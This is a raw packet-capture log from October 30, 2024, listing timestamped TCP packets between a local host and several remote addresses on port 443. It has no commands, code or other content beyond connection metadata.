Oct 30, 2024 16:25:39.403557062 CET	49737	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:39.403775930 CET	49737	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:39.403793097 CET	443	49737	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:39.893744946 CET	443	49739	172.67.148.193	192.168.2.16
Oct 30, 2024 16:25:39.894129992 CET	49739	443	192.168.2.16	172.67.148.193
Oct 30, 2024 16:25:39.894156933 CET	443	49739	172.67.148.193	192.168.2.16
Oct 30, 2024 16:25:39.895165920 CET	443	49739	172.67.148.193	192.168.2.16
Oct 30, 2024 16:25:39.895250082 CET	49739	443	192.168.2.16	172.67.148.193
Oct 30, 2024 16:25:39.896543980 CET	49739	443	192.168.2.16	172.67.148.193
Oct 30, 2024 16:25:39.896639109 CET	443	49739	172.67.148.193	192.168.2.16
Oct 30, 2024 16:25:39.896773100 CET	49739	443	192.168.2.16	172.67.148.193
Oct 30, 2024 16:25:39.896799088 CET	443	49739	172.67.148.193	192.168.2.16
Oct 30, 2024 16:25:39.936878920 CET	49739	443	192.168.2.16	172.67.148.193
Oct 30, 2024 16:25:40.256875992 CET	49680	80	192.168.2.16	192.229.211.108
Oct 30, 2024 16:25:40.608875990 CET	49678	443	192.168.2.16	20.189.173.10
Oct 30, 2024 16:25:42.027880907 CET	49673	443	192.168.2.16	204.79.197.203
Oct 30, 2024 16:25:42.945835114 CET	443	49739	172.67.148.193	192.168.2.16
Oct 30, 2024 16:25:42.945974112 CET	443	49739	172.67.148.193	192.168.2.16
Oct 30, 2024 16:25:42.946059942 CET	443	49739	172.67.148.193	192.168.2.16
Oct 30, 2024 16:25:42.946059942 CET	49739	443	192.168.2.16	172.67.148.193
Oct 30, 2024 16:25:42.946093082 CET	443	49739	172.67.148.193	192.168.2.16
Oct 30, 2024 16:25:42.946230888 CET	443	49739	172.67.148.193	192.168.2.16
Oct 30, 2024 16:25:42.946271896 CET	49739	443	192.168.2.16	172.67.148.193
Oct 30, 2024 16:25:42.946290016 CET	443	49739	172.67.148.193	192.168.2.16
Oct 30, 2024 16:25:42.946397066 CET	443	49739	172.67.148.193	192.168.2.16
Oct 30, 2024 16:25:42.946439981 CET	49739	443	192.168.2.16	172.67.148.193
Oct 30, 2024 16:25:42.946446896 CET	443	49739	172.67.148.193	192.168.2.16
Oct 30, 2024 16:25:42.946537971 CET	49739	443	192.168.2.16	172.67.148.193
Oct 30, 2024 16:25:42.946544886 CET	443	49739	172.67.148.193	192.168.2.16
Oct 30, 2024 16:25:42.948491096 CET	443	49739	172.67.148.193	192.168.2.16
Oct 30, 2024 16:25:42.948570013 CET	49739	443	192.168.2.16	172.67.148.193
Oct 30, 2024 16:25:42.948667049 CET	49739	443	192.168.2.16	172.67.148.193
Oct 30, 2024 16:25:42.948684931 CET	443	49739	172.67.148.193	192.168.2.16
Oct 30, 2024 16:25:43.066314936 CET	49740	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:43.066375017 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:43.066488981 CET	49740	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:43.067719936 CET	49740	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:43.067739010 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:43.074191093 CET	49741	443	192.168.2.16	151.101.193.229
Oct 30, 2024 16:25:43.074218035 CET	443	49741	151.101.193.229	192.168.2.16
Oct 30, 2024 16:25:43.074290991 CET	49741	443	192.168.2.16	151.101.193.229
Oct 30, 2024 16:25:43.074451923 CET	49741	443	192.168.2.16	151.101.193.229
Oct 30, 2024 16:25:43.074470997 CET	443	49741	151.101.193.229	192.168.2.16
Oct 30, 2024 16:25:43.246164083 CET	49747	443	192.168.2.16	172.67.148.193
Oct 30, 2024 16:25:43.246211052 CET	443	49747	172.67.148.193	192.168.2.16
Oct 30, 2024 16:25:43.246305943 CET	49747	443	192.168.2.16	172.67.148.193
Oct 30, 2024 16:25:43.246632099 CET	49747	443	192.168.2.16	172.67.148.193
Oct 30, 2024 16:25:43.246644020 CET	443	49747	172.67.148.193	192.168.2.16
Oct 30, 2024 16:25:43.676335096 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:43.676666021 CET	49740	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:43.676690102 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:43.677143097 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:43.677721024 CET	443	49741	151.101.193.229	192.168.2.16
Oct 30, 2024 16:25:43.677797079 CET	49740	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:43.677875996 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:43.678033113 CET	49741	443	192.168.2.16	151.101.193.229
Oct 30, 2024 16:25:43.678050995 CET	443	49741	151.101.193.229	192.168.2.16
Oct 30, 2024 16:25:43.678335905 CET	49740	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:43.679080009 CET	443	49741	151.101.193.229	192.168.2.16
Oct 30, 2024 16:25:43.679179907 CET	49741	443	192.168.2.16	151.101.193.229
Oct 30, 2024 16:25:43.680927992 CET	49741	443	192.168.2.16	151.101.193.229
Oct 30, 2024 16:25:43.681005001 CET	443	49741	151.101.193.229	192.168.2.16
Oct 30, 2024 16:25:43.681273937 CET	49741	443	192.168.2.16	151.101.193.229
Oct 30, 2024 16:25:43.681282997 CET	443	49741	151.101.193.229	192.168.2.16
Oct 30, 2024 16:25:43.721227884 CET	49741	443	192.168.2.16	151.101.193.229
Oct 30, 2024 16:25:43.723326921 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:43.805836916 CET	443	49741	151.101.193.229	192.168.2.16
Oct 30, 2024 16:25:43.805918932 CET	443	49741	151.101.193.229	192.168.2.16
Oct 30, 2024 16:25:43.805943012 CET	443	49741	151.101.193.229	192.168.2.16
Oct 30, 2024 16:25:43.805969000 CET	49741	443	192.168.2.16	151.101.193.229
Oct 30, 2024 16:25:43.805983067 CET	443	49741	151.101.193.229	192.168.2.16
Oct 30, 2024 16:25:43.806025028 CET	49741	443	192.168.2.16	151.101.193.229
Oct 30, 2024 16:25:43.806030989 CET	443	49741	151.101.193.229	192.168.2.16
Oct 30, 2024 16:25:43.806969881 CET	443	49741	151.101.193.229	192.168.2.16
Oct 30, 2024 16:25:43.807003021 CET	443	49741	151.101.193.229	192.168.2.16
Oct 30, 2024 16:25:43.807034969 CET	49741	443	192.168.2.16	151.101.193.229
Oct 30, 2024 16:25:43.807043076 CET	443	49741	151.101.193.229	192.168.2.16
Oct 30, 2024 16:25:43.807086945 CET	443	49741	151.101.193.229	192.168.2.16
Oct 30, 2024 16:25:43.807086945 CET	49741	443	192.168.2.16	151.101.193.229
Oct 30, 2024 16:25:43.807096958 CET	443	49741	151.101.193.229	192.168.2.16
Oct 30, 2024 16:25:43.807157040 CET	49741	443	192.168.2.16	151.101.193.229
Oct 30, 2024 16:25:43.820914030 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:43.820990086 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:43.821038961 CET	49740	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:43.821052074 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:43.821110964 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:43.821155071 CET	49740	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:43.821161985 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:43.821211100 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:43.821254015 CET	49740	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:43.821257114 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:43.821269989 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:43.821324110 CET	49740	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:43.821655035 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:43.846237898 CET	443	49747	172.67.148.193	192.168.2.16
Oct 30, 2024 16:25:43.846508980 CET	49747	443	192.168.2.16	172.67.148.193
Oct 30, 2024 16:25:43.846533060 CET	443	49747	172.67.148.193	192.168.2.16
Oct 30, 2024 16:25:43.847604036 CET	443	49747	172.67.148.193	192.168.2.16
Oct 30, 2024 16:25:43.847676039 CET	49747	443	192.168.2.16	172.67.148.193
Oct 30, 2024 16:25:43.847975016 CET	49747	443	192.168.2.16	172.67.148.193
Oct 30, 2024 16:25:43.847987890 CET	49747	443	192.168.2.16	172.67.148.193
Oct 30, 2024 16:25:43.848037004 CET	443	49747	172.67.148.193	192.168.2.16
Oct 30, 2024 16:25:43.848041058 CET	49747	443	192.168.2.16	172.67.148.193
Oct 30, 2024 16:25:43.848094940 CET	49747	443	192.168.2.16	172.67.148.193
Oct 30, 2024 16:25:43.848367929 CET	49748	443	192.168.2.16	172.67.148.193
Oct 30, 2024 16:25:43.848396063 CET	443	49748	172.67.148.193	192.168.2.16
Oct 30, 2024 16:25:43.848472118 CET	49748	443	192.168.2.16	172.67.148.193
Oct 30, 2024 16:25:43.848701000 CET	49748	443	192.168.2.16	172.67.148.193
Oct 30, 2024 16:25:43.848712921 CET	443	49748	172.67.148.193	192.168.2.16
Oct 30, 2024 16:25:43.864878893 CET	49740	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:43.864886999 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:43.912870884 CET	49740	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:43.922564983 CET	443	49741	151.101.193.229	192.168.2.16
Oct 30, 2024 16:25:43.922692060 CET	443	49741	151.101.193.229	192.168.2.16
Oct 30, 2024 16:25:43.922750950 CET	49741	443	192.168.2.16	151.101.193.229
Oct 30, 2024 16:25:43.922766924 CET	443	49741	151.101.193.229	192.168.2.16
Oct 30, 2024 16:25:43.925065041 CET	443	49741	151.101.193.229	192.168.2.16
Oct 30, 2024 16:25:43.925084114 CET	443	49741	151.101.193.229	192.168.2.16
Oct 30, 2024 16:25:43.925131083 CET	49741	443	192.168.2.16	151.101.193.229
Oct 30, 2024 16:25:43.925141096 CET	443	49741	151.101.193.229	192.168.2.16
Oct 30, 2024 16:25:43.925173044 CET	49741	443	192.168.2.16	151.101.193.229
Oct 30, 2024 16:25:43.925193071 CET	49741	443	192.168.2.16	151.101.193.229
Oct 30, 2024 16:25:43.938384056 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:43.938479900 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:43.938523054 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:43.938541889 CET	49740	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:43.938549995 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:43.938596010 CET	49740	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:43.938704014 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:43.938783884 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:43.938839912 CET	49740	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:43.938849926 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:43.939563036 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:43.939621925 CET	49740	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:43.939625978 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:43.939637899 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:43.939686060 CET	49740	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:43.939692020 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:43.939847946 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:43.939929008 CET	49740	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:43.939935923 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:43.940514088 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:43.940562010 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:43.940567970 CET	49740	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:43.940574884 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:43.940634966 CET	49740	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:43.940640926 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:43.941394091 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:43.941427946 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:43.941446066 CET	49740	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:43.941452980 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:43.941505909 CET	49740	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:43.941510916 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:43.992877007 CET	49740	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:44.039037943 CET	443	49741	151.101.193.229	192.168.2.16
Oct 30, 2024 16:25:44.039064884 CET	443	49741	151.101.193.229	192.168.2.16
Oct 30, 2024 16:25:44.039123058 CET	49741	443	192.168.2.16	151.101.193.229
Oct 30, 2024 16:25:44.039146900 CET	443	49741	151.101.193.229	192.168.2.16
Oct 30, 2024 16:25:44.039165020 CET	49741	443	192.168.2.16	151.101.193.229
Oct 30, 2024 16:25:44.039258957 CET	49741	443	192.168.2.16	151.101.193.229
Oct 30, 2024 16:25:44.040424109 CET	443	49741	151.101.193.229	192.168.2.16
Oct 30, 2024 16:25:44.040441990 CET	443	49741	151.101.193.229	192.168.2.16
Oct 30, 2024 16:25:44.040498972 CET	49741	443	192.168.2.16	151.101.193.229
Oct 30, 2024 16:25:44.040512085 CET	443	49741	151.101.193.229	192.168.2.16
Oct 30, 2024 16:25:44.040556908 CET	49741	443	192.168.2.16	151.101.193.229
Oct 30, 2024 16:25:44.042431116 CET	443	49741	151.101.193.229	192.168.2.16
Oct 30, 2024 16:25:44.042448044 CET	443	49741	151.101.193.229	192.168.2.16
Oct 30, 2024 16:25:44.042504072 CET	49741	443	192.168.2.16	151.101.193.229
Oct 30, 2024 16:25:44.042517900 CET	443	49741	151.101.193.229	192.168.2.16
Oct 30, 2024 16:25:44.042568922 CET	49741	443	192.168.2.16	151.101.193.229
Oct 30, 2024 16:25:44.044298887 CET	443	49741	151.101.193.229	192.168.2.16
Oct 30, 2024 16:25:44.044316053 CET	443	49741	151.101.193.229	192.168.2.16
Oct 30, 2024 16:25:44.044373989 CET	49741	443	192.168.2.16	151.101.193.229
Oct 30, 2024 16:25:44.044388056 CET	443	49741	151.101.193.229	192.168.2.16
Oct 30, 2024 16:25:44.044430971 CET	49741	443	192.168.2.16	151.101.193.229
Oct 30, 2024 16:25:44.055249929 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:44.055372953 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:44.055412054 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:44.055413008 CET	49740	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:44.055435896 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:44.055480003 CET	49740	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:44.055488110 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:44.055557013 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:44.055591106 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:44.055608988 CET	49740	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:44.055614948 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:44.055656910 CET	49740	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:44.055665016 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:44.056310892 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:44.056365013 CET	49740	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:44.056372881 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:44.056888103 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:44.056931973 CET	49740	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:44.056936026 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:44.056952953 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:44.057029009 CET	49740	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:44.058193922 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:44.058249950 CET	49740	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:44.058258057 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:44.058269978 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:44.058305025 CET	49740	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:44.058377028 CET	49740	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:44.058475018 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:44.058520079 CET	49740	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:44.058530092 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:44.058577061 CET	49740	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:44.059644938 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:44.059710026 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:44.059721947 CET	49740	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:44.059734106 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:44.059767008 CET	49740	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:44.059777975 CET	49740	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:44.060230017 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:44.060286045 CET	49740	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:44.096127987 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:44.096196890 CET	49740	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:44.155755997 CET	443	49741	151.101.193.229	192.168.2.16
Oct 30, 2024 16:25:44.155791998 CET	443	49741	151.101.193.229	192.168.2.16
Oct 30, 2024 16:25:44.155873060 CET	443	49741	151.101.193.229	192.168.2.16
Oct 30, 2024 16:25:44.155879974 CET	49741	443	192.168.2.16	151.101.193.229
Oct 30, 2024 16:25:44.155901909 CET	443	49741	151.101.193.229	192.168.2.16
Oct 30, 2024 16:25:44.155941010 CET	49741	443	192.168.2.16	151.101.193.229
Oct 30, 2024 16:25:44.156003952 CET	49741	443	192.168.2.16	151.101.193.229
Oct 30, 2024 16:25:44.157438040 CET	443	49741	151.101.193.229	192.168.2.16
Oct 30, 2024 16:25:44.157461882 CET	443	49741	151.101.193.229	192.168.2.16
Oct 30, 2024 16:25:44.157525063 CET	49741	443	192.168.2.16	151.101.193.229
Oct 30, 2024 16:25:44.157533884 CET	443	49741	151.101.193.229	192.168.2.16
Oct 30, 2024 16:25:44.158574104 CET	443	49741	151.101.193.229	192.168.2.16
Oct 30, 2024 16:25:44.158596039 CET	443	49741	151.101.193.229	192.168.2.16
Oct 30, 2024 16:25:44.158634901 CET	49741	443	192.168.2.16	151.101.193.229
Oct 30, 2024 16:25:44.158642054 CET	443	49741	151.101.193.229	192.168.2.16
Oct 30, 2024 16:25:44.158667088 CET	49741	443	192.168.2.16	151.101.193.229
Oct 30, 2024 16:25:44.161000013 CET	443	49741	151.101.193.229	192.168.2.16
Oct 30, 2024 16:25:44.161015987 CET	443	49741	151.101.193.229	192.168.2.16
Oct 30, 2024 16:25:44.161083937 CET	49741	443	192.168.2.16	151.101.193.229
Oct 30, 2024 16:25:44.161094904 CET	443	49741	151.101.193.229	192.168.2.16
Oct 30, 2024 16:25:44.161106110 CET	49741	443	192.168.2.16	151.101.193.229
Oct 30, 2024 16:25:44.161988974 CET	443	49741	151.101.193.229	192.168.2.16
Oct 30, 2024 16:25:44.162017107 CET	443	49741	151.101.193.229	192.168.2.16
Oct 30, 2024 16:25:44.162056923 CET	49741	443	192.168.2.16	151.101.193.229
Oct 30, 2024 16:25:44.162065029 CET	443	49741	151.101.193.229	192.168.2.16
Oct 30, 2024 16:25:44.162117958 CET	49741	443	192.168.2.16	151.101.193.229
Oct 30, 2024 16:25:44.162801981 CET	443	49741	151.101.193.229	192.168.2.16
Oct 30, 2024 16:25:44.162815094 CET	443	49741	151.101.193.229	192.168.2.16
Oct 30, 2024 16:25:44.162875891 CET	49741	443	192.168.2.16	151.101.193.229
Oct 30, 2024 16:25:44.162885904 CET	443	49741	151.101.193.229	192.168.2.16
Oct 30, 2024 16:25:44.162934065 CET	49741	443	192.168.2.16	151.101.193.229
Oct 30, 2024 16:25:44.173178911 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:44.173261881 CET	49740	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:44.173284054 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:44.173346996 CET	49740	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:44.173360109 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:44.173388958 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:44.173441887 CET	49740	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:44.173564911 CET	49740	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:44.173582077 CET	443	49740	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:44.228591919 CET	49749	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:44.228645086 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:44.228725910 CET	49749	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:44.228887081 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:44.228916883 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:44.228970051 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:44.229073048 CET	49749	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:44.229099989 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:44.229245901 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:44.229258060 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:44.271073103 CET	443	49741	151.101.193.229	192.168.2.16
Oct 30, 2024 16:25:44.271100044 CET	443	49741	151.101.193.229	192.168.2.16
Oct 30, 2024 16:25:44.271166086 CET	49741	443	192.168.2.16	151.101.193.229
Oct 30, 2024 16:25:44.271187067 CET	443	49741	151.101.193.229	192.168.2.16
Oct 30, 2024 16:25:44.271240950 CET	49741	443	192.168.2.16	151.101.193.229
Oct 30, 2024 16:25:44.271240950 CET	49741	443	192.168.2.16	151.101.193.229
Oct 30, 2024 16:25:44.271418095 CET	443	49741	151.101.193.229	192.168.2.16
Oct 30, 2024 16:25:44.271476030 CET	49741	443	192.168.2.16	151.101.193.229
Oct 30, 2024 16:25:44.271486044 CET	443	49741	151.101.193.229	192.168.2.16
Oct 30, 2024 16:25:44.271528006 CET	443	49741	151.101.193.229	192.168.2.16
Oct 30, 2024 16:25:44.271579027 CET	49741	443	192.168.2.16	151.101.193.229
Oct 30, 2024 16:25:44.271703005 CET	49741	443	192.168.2.16	151.101.193.229
Oct 30, 2024 16:25:44.271717072 CET	443	49741	151.101.193.229	192.168.2.16
Oct 30, 2024 16:25:44.469635963 CET	443	49748	172.67.148.193	192.168.2.16
Oct 30, 2024 16:25:44.469938040 CET	49748	443	192.168.2.16	172.67.148.193
Oct 30, 2024 16:25:44.469983101 CET	443	49748	172.67.148.193	192.168.2.16
Oct 30, 2024 16:25:44.471015930 CET	443	49748	172.67.148.193	192.168.2.16
Oct 30, 2024 16:25:44.471079111 CET	49748	443	192.168.2.16	172.67.148.193
Oct 30, 2024 16:25:44.471508980 CET	49748	443	192.168.2.16	172.67.148.193
Oct 30, 2024 16:25:44.471560955 CET	443	49748	172.67.148.193	192.168.2.16
Oct 30, 2024 16:25:44.471719027 CET	49748	443	192.168.2.16	172.67.148.193
Oct 30, 2024 16:25:44.471725941 CET	443	49748	172.67.148.193	192.168.2.16
Oct 30, 2024 16:25:44.518876076 CET	49748	443	192.168.2.16	172.67.148.193
Oct 30, 2024 16:25:44.839133024 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:44.839464903 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:44.839498997 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:44.839823008 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:44.840120077 CET	49749	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:44.840158939 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:44.840560913 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:44.840629101 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:44.840920925 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:44.840984106 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:44.841072083 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:44.841079950 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:44.841646910 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:44.841711998 CET	49749	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:44.841941118 CET	49749	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:44.842021942 CET	49749	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:44.842031002 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:44.842045069 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:44.884027004 CET	49749	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:44.884028912 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:44.884048939 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:44.931967974 CET	49749	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:44.977170944 CET	443	49748	172.67.148.193	192.168.2.16
Oct 30, 2024 16:25:44.977220058 CET	443	49748	172.67.148.193	192.168.2.16
Oct 30, 2024 16:25:44.977253914 CET	443	49748	172.67.148.193	192.168.2.16
Oct 30, 2024 16:25:44.977345943 CET	443	49748	172.67.148.193	192.168.2.16
Oct 30, 2024 16:25:44.977436066 CET	49748	443	192.168.2.16	172.67.148.193
Oct 30, 2024 16:25:44.977482080 CET	443	49748	172.67.148.193	192.168.2.16
Oct 30, 2024 16:25:44.977520943 CET	49748	443	192.168.2.16	172.67.148.193
Oct 30, 2024 16:25:44.977520943 CET	49748	443	192.168.2.16	172.67.148.193
Oct 30, 2024 16:25:44.977988005 CET	443	49748	172.67.148.193	192.168.2.16
Oct 30, 2024 16:25:44.978100061 CET	443	49748	172.67.148.193	192.168.2.16
Oct 30, 2024 16:25:44.978140116 CET	49748	443	192.168.2.16	172.67.148.193
Oct 30, 2024 16:25:44.978322983 CET	49748	443	192.168.2.16	172.67.148.193
Oct 30, 2024 16:25:44.978346109 CET	443	49748	172.67.148.193	192.168.2.16
Oct 30, 2024 16:25:44.984374046 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:44.984424114 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:44.984456062 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:44.984486103 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:44.984491110 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:44.984508991 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:44.984549046 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:44.985130072 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:44.985165119 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:44.985183954 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:44.985191107 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:44.985234022 CET	49750	443	192.168.2.16	104.17.24.14
Oct 30, 2024 16:25:44.985245943 CET	443	49750	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:44.993731022 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:44.993803024 CET	443	49749	104.17.24.14	192.168.2.16
Oct 30, 2024 16:25:44.993843079 CET	443	49749	104.17.24.14	192.168.2.16
